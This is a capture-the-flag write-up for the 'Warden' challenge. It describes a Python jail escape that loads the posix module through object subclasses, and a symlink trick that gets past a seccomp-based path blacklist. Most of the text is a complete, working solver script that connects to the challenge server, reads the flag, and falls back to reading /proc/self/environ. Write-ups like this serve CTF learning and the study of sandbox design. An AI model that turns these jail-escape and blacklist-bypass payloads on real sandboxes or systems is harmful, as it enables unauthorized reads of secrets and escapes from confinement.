Writeup

Warden 0xFun26 — Writeup

0xAsta

February 14, 2026

6 min read

pwn linux seccomp python

Warden — Writeup

This writeup details the solution for the “Warden” challenge. The service runs a restricted Python jail under a syscall supervisor that uses seccomp user notifications, and attempts to block sensitive file reads with a naive path-string blacklist.

Summary

The supervisor rejects open/openat calls when the pathname string begins with blacklisted prefixes (for example /flag). The bug is that it validates only the text argument passed to open/openat, not the resolved filesystem target.

By creating a symlink with an innocuous name (for example x -> /flag) and then doing open("x", ...), the Warden sees a safe-looking path ("x") while the kernel resolves it to the forbidden file.

To reach symlink/open/read/close from inside the Python jail (no import, no __ string literals, and no private attribute access), we load the built-in posix module via _frozen_importlib.BuiltinImporter, discovered using object.__subclasses__() with dynamically-built dunder names.

Key Code Snippets

The exploit has two key ingredients: (1) loading posix without an import, and (2) reading /flag via a symlink so the Warden never sees /flag in the syscall argument string.

Load posix without import:

1
du = '_'*2
2
subs = getattr(object, du+'subclasses'+du)()
3
kn = du+'name'+du
4
km = du+'module'+du
5

6
BI = None
7
for t in subs:
8
    try:
9
        if getattr(t, kn) == 'BuiltinImporter' and getattr(t, km) == '_frozen_importlib':
10
            BI = t
11
            break
12
    except Exception:
13
        pass
14

15
p = BI.load_module('posix')

Bypass the path blacklist using a symlink open:

1
p.chdir('/tmp')
2
p.symlink('/flag', 'x')
3
fd = p.open('x', 0)  # Warden sees "x", kernel resolves x -> /flag
4
data = p.read(fd, 65536)
5
p.close(fd)

Analysis

Components

warden (syscall watcher):

warden.c installs a seccomp filter that returns SECCOMP_RET_USER_NOTIF for selected syscalls. The parent reads the tracee’s pathname with process_vm_readv, checks it against a small blacklist (/flag, /root, /etc/shadow, etc.), and either denies with -EACCES or continues the syscall using SECCOMP_USER_NOTIF_FLAG_CONTINUE.

This is a classic path-based policy mistake: the string passed to open("x") is not the same thing as the file ultimately opened after symlink resolution, .. traversal, bind mounts, etc.

jail.py (Python jail):

The jail parses user code with ast.parse and rejects various AST nodes. It forbids:

import / from ... import ...
eval/exec/compile/__import__/open calls
Attribute access where the attribute name starts with _ (blocks obj.__class__, etc.)
Any string literal containing __

It also executes with a small SAFE_BUILTINS (notably no __import__, __build_class__, etc.).

Why This Works

Even in a jail, Python’s object model still exists. We can obtain object.__subclasses__() by building the dunder name at runtime and calling it via getattr.
Among subclasses we can locate _frozen_importlib.BuiltinImporter and call load_module('posix') to get filesystem primitives without an import statement.
The Warden’s enforcement point uses a string-prefix blacklist on syscall arguments. A symlink lets us keep the string benign while the resolved target points at the secret.

Exploitation and Flag Recovery

Step 1: Get `posix` in the jail

Use dynamically-generated dunder names plus getattr to avoid the jail’s AST filters, find BuiltinImporter, and load posix. This yields:

p.symlink, p.unlink, p.chdir
p.open, p.read, p.close
p.listdir (optional for shallow discovery)

Step 2: Create a symlink and open it

chdir("/tmp") to a writable directory
symlink("/flag", "x")
open("x", O_RDONLY) and read(...)

Step 3: Send payload to the remote service

The service reads Python code from stdin until EOF, so the solver sends the payload then half-closes the socket write side to signal EOF.

Solver

1
#!/usr/bin/env python3
2
import argparse
3
import socket
4
import subprocess
5
import sys
6

7

8
def build_payload() -> str:
9
    # This payload bypasses the AST restrictions and defeats the "blocked paths"
10
    # check by opening a symlink whose textual path isn't blocked. The Warden only
11
    # checks the *string argument* to open/openat, not the resolved path.
12
    #
13
    # Key constraints we satisfy:
14
    # - No "import" statements (AST-blocked)
15
    # - No string constants containing "__" (AST-blocked)
16
    # - No attribute access like obj.__x__ (Attribute nodes with "_" prefix blocked)
17
    # - No calling open() directly (blocked call)
18
    #
19
    # We dynamically construct "__subclasses__", find BuiltinImporter, load 'posix',
20
    # then use posix.symlink + posix.open/read/close.
21
    return r"""
22
du = '_'*2
23
subs = getattr(object, du+'subclasses'+du)()
24
kn = du+'name'+du
25
km = du+'module'+du
26

27
BI = None
28
for t in subs:
29
    try:
30
        if getattr(t, kn) == 'BuiltinImporter' and getattr(t, km) == '_frozen_importlib':
31
            BI = t
32
            break
33
    except Exception:
34
        pass
35

36
if BI is None:
37
    print('no BuiltinImporter')
38
    raise Exception('no BuiltinImporter')
39

40
p = BI.load_module('posix')
41

42
def slurp(target):
43
    # Open via symlink "x" so the Warden only sees path "x" (not the real target).
44
    p.chdir('/tmp')
45
    try:
46
        p.unlink('x')
47
    except Exception:
48
        pass
49
    try:
50
        p.symlink(target, 'x')
51
    except Exception:
52
        return None
53
    try:
54
        fd = p.open('x', 0)
55
    except Exception:
56
        return None
57
    try:
58
        data = p.read(fd, 65536)
59
    except Exception:
60
        data = None
61
    try:
62
        p.close(fd)
63
    except Exception:
64
        pass
65
    return data
66

67

68
# We can't rely on SystemExit being available in SAFE_BUILTINS. Use a flag.
69
found = False
70

71
# Try the usual suspects first.
72
targets = [
73
    '/flag',
74
    '/flag.txt',
75
    '/flag/flag',
76
    '/home/ctf/flag',
77
    '/home/ctf/flag.txt',
78
    '/home/challenge/flag',
79
    '/home/challenge/flag.txt',
80
    '/app/flag',
81
    '/app/flag.txt',
82
    '/challenge/flag',
83
    '/challenge/flag.txt',
84
    '/srv/flag',
85
    '/srv/flag.txt',
86
    '/run/secrets/flag',
87
    '/run/secrets/flag.txt',
88
]
89

90
for t in targets:
91
    d = slurp(t)
92
    if d:
93
        try:
94
            print(d.decode())
95
        except Exception:
96
            print(d)
97
        found = True
98
        break
99

100

101
def try_dir(base):
102
    try:
103
        names = p.listdir(base)
104
    except Exception:
105
        return False
106
    for nm in names:
107
        try:
108
            s = nm.decode() if hasattr(nm, 'decode') else str(nm)
109
        except Exception:
110
            continue
111
        sl = s.lower()
112
        # Avoid matching unrelated files like "payload_flaglike.py".
113
        if not (sl == 'flag' or sl == 'flag.txt' or sl.startswith('flag')):
114
            continue
115
        if 'payload' in sl:
116
            continue
117
        cand = base.rstrip('/') + '/' + s
118
        d = slurp(cand)
119
        if d:
120
            try:
121
                print(d.decode())
122
            except Exception:
123
                print(d)
124
            return True
125
    return False
126

127

128
# Shallow scan common directories for anything with "flag" in the filename.
129
if not found:
130
    for base in ['/', '/home', '/app', '/challenge', '/srv', '/var', '/opt']:
131
        if try_dir(base):
132
            found = True
133
            break
134

135

136
# Local fallback: prove execution in case the flag isn't reachable.
137
if not found:
138
    d = slurp('/proc/self/environ')
139
    if d:
140
        try:
141
            # Often flags are provided as env vars. Make NUL-separated data readable.
142
            print(d.replace(b'\x00', b'\n').decode())
143
            found = True
144
        except Exception:
145
            pass
146

147
if not found:
148
    d = slurp('/etc/hostname')
149
    if d:
150
        try:
151
            print(d.decode())
152
        except Exception:
153
            print(d)
154
""".lstrip("\n")
155

156

157
def solve_remote(host: str, port: int, timeout: float) -> str:
158
    payload = build_payload().encode()
159
    with socket.create_connection((host, port), timeout=timeout) as s:
160
        # The jail reads until EOF. Send payload then half-close write end.
161
        s.sendall(payload)
162
        try:
163
            s.shutdown(socket.SHUT_WR)
164
        except OSError:
165
            pass
166

167
        s.settimeout(timeout)
168
        chunks = []
169
        while True:
170
            try:
171
                b = s.recv(4096)
172
            except socket.timeout:
173
                break
174
            if not b:
175
                break
176
            chunks.append(b)
177
    return b"".join(chunks).decode(errors="replace")
178

179

180
def solve_local(timeout: float) -> str:
181
    payload = build_payload().encode()
182
    # Warden only allows the first exec*. Use the absolute python path to avoid
183
    # wrapper execs (e.g. /usr/bin/python3 -> python3.14).
184
    p = subprocess.run(
185
        ["./warden", "/usr/bin/python3", "jail.py"],
186
        input=payload,
187
        stdout=subprocess.PIPE,
188
        stderr=subprocess.STDOUT,
189
        timeout=timeout,
190
    )
191
    return p.stdout.decode(errors="replace")
192

193

194
def main() -> int:
195
    ap = argparse.ArgumentParser()
196
    ap.add_argument("--host", default="chall.0xfun.org")
197
    ap.add_argument("--port", default=24146, type=int)
198
    ap.add_argument("--timeout", default=10.0, type=float)
199
    ap.add_argument("--local", action="store_true", help="run against local ./warden + jail.py")
200
    args = ap.parse_args()
201

202
    try:
203
        out = solve_local(args.timeout) if args.local else solve_remote(args.host, args.port, args.timeout)
204
    except (OSError, subprocess.TimeoutExpired) as e:
205
        print(f"[!] failed: {e}", file=sys.stderr)
206
        return 2
207

208
    sys.stdout.write(out)
209
    if out and not out.endswith("\n"):
210
        sys.stdout.write("\n")
211
    return 0
212

213

214
if __name__ == "__main__":
215
    raise SystemExit(main())

Final Result

0xfun{wh0_w4tch3s_th3_w4rd3n_t0ctou_r4c3}